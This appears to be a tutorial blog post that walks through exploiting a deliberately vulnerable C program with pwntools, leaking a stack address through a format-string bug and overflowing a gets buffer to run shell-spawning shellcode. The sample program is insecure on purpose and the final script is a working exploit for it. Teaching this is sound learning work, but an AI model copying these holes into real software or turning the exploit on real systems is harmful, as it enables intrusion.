So, it’s been a while. Let's take a look at solving a simple buffer overflow, using pwntools. This was originally shared by LiveOverflow, back in 2019 (you can watch that video here).
First, lets take a look at the code.
#include <stdio.h>
#include <stdlib.h>void C_Application_Firewall(char* in_buf){
for(char c = *in_buf++; c != ‘\x00’; c = *in_buf++) {
if(c==’A’) {
printf(“You have been blocked!\n”);
printf(“Your IP has been reported to the authorities.\n”);
exit(-1);
}
}
}void CAFtest() {
char buf[256] = {0};
printf(“\nC Application Firewall Test — please try a payload:\n”);
gets(buf);
C_Application_Firewall(buf);
printf(buf);
}int main(int argc, char* argv[]) {
while(1) {
CAFtest();
}
}
This code runs CAFTest
in a loop. The CAFTest method declares a char buffer, prints a message then uses gets to populate that buffer. The contents are checked to see if they contain any ‘bad characters’ (upper-case A’s), then printf is used to display the contents of the buffer.
The code is compiled with
gcc caf.c -o caf -fno-stack-protector -z execstack -no-pie
which disables stack canaries, marks the stack as executable and tells the compiler not to make a position independent executable. Or “turn off all protections and make this easy”.
There are two issues with this code. First, the use of gets introduces a buffer overflow, and the use of printf allows a format string vulnerability.
If we run the binary and pass in some format string characters, we can see that the application is indeed vulnerable.
Now, lets create a scaffold for our exploit, using pwntools and python:
from pwn import *io = process(‘./caf’)
print(io.recvregex(b’:’)) # read until we get the promptio.sendline(b’%p,%p,%p’)
io.recvline()
print(io.recvline())
io.recvuntil(b’foo’)
This code runs the binary, waits until it sees the end of the prompt, sends our format string then prints the output. The last line just ensures we don’t kill the process just yet.
Following the same process as LiveOverflow, we can examin the /proc/
entry for the process and see what memory is mapped.
As expected, our second leaked address is on the stack. The point of this post is not to re-hash LiveOverflows work, so lets move on to exploiting the buffer overflow. We need to trigger the overflow, then work out the offset to RIP.
from pwn import *io = process(‘./caf’)
print(io.recvregex(b’:’)) # read until we get the promptio.sendline(b’%p,%p,%p’)
io.recvline()
print(io.recvline())
io.sendline(cyclic(500))
io.wait()
core = io.corefile
stack = core.rsp
info(“rsp = %#x”, stack)
pattern = core.read(stack, 4)
rip_offset = cyclic_find(pattern)info(“rip offset is %d”, rip_offset)
Here we use pwntools cyclic function to generate a 500 char pattern, send that to the binary and wait for the crash. pwntools can then pull the core dump and extract the the values we need.
Running this code gives us the following output:
Now we know that our offset is 264.
This is where things deviate from LiveOverflows video somewhat. We discover that his calculations for address to overwrite RIP with don’t work on our system. After some time in GDB, we end up with the following exploit code:
from pwn import *
import structio = process(‘./caf’)
raw_input(“attach GDB”)
(io.recvregex(‘:’)) # read until we get the prompt
info(“sending format string…”)
io.sendline(‘%p,%p,%p’)
io.recvline()
leak = io.recvline().split(‘,’)[1]
print leak
io.recvregex(‘:’) # read until we get the prompt
start_buf = (int(leak, 16))+264 -9
info(“leaked start of buffer: 0x{:08x}”.format(start_buf))
padding = “a” * 264
RIP = struct.pack(“Q”,start_buf + 8)
shellcode = “\xcc”*64
payload = padding + RIP + shellcode
io.sendline(payload)
io.readuntil(“foo”)
Running this, attaching GDB when prompted, and looking at the memory shows that we are now writing out shellcode to the correct position, however we get a SIGSEV rather than a SIGTRAP.
Examining the memory around this address shows our shellcode is in the correct place:
So what happened? If we look at the maps file for this process we see that the stack is not executable
Why? because I typo’d the gcc command way back at the start, thats why.
After re-building with the correct compiler flags and running the exploit script, we get our SIGTRAP as expected.
Now we can finish weaponising our exploit. This is just a case of swapping out the shellcode and tidying things up a bit:
#!/usr/bin/env python2
from pwn import *
import structcontext.arch = ‘amd64’
io = process(‘./caf’)
raw_input(“attach GDB”)
(io.recvregex(‘:’)) # read until we get the prompt
info(“sending format string…”)
io.sendline(‘%p,%p,%p’)
io.recvline()
leak = io.recvline().split(‘,’)[1]
io.recvregex(‘:’) # read until we get the prompt
start_buf = (int(leak, 16))+264 -9 #This calculation is different
info(“leaked start of buffer: 0x{:08x}”.format(start_buf))
padding = “a” * 264
RIP = struct.pack(“Q”,start_buf + 8)
shellcode = asm(shellcraft.amd64.linux.sh())
payload = padding + RIP + shellcode
info(‘sending exploit’)
io.sendline(payload)
io.interactive()
Now when we run the exploit we get dropped into an interactive shell: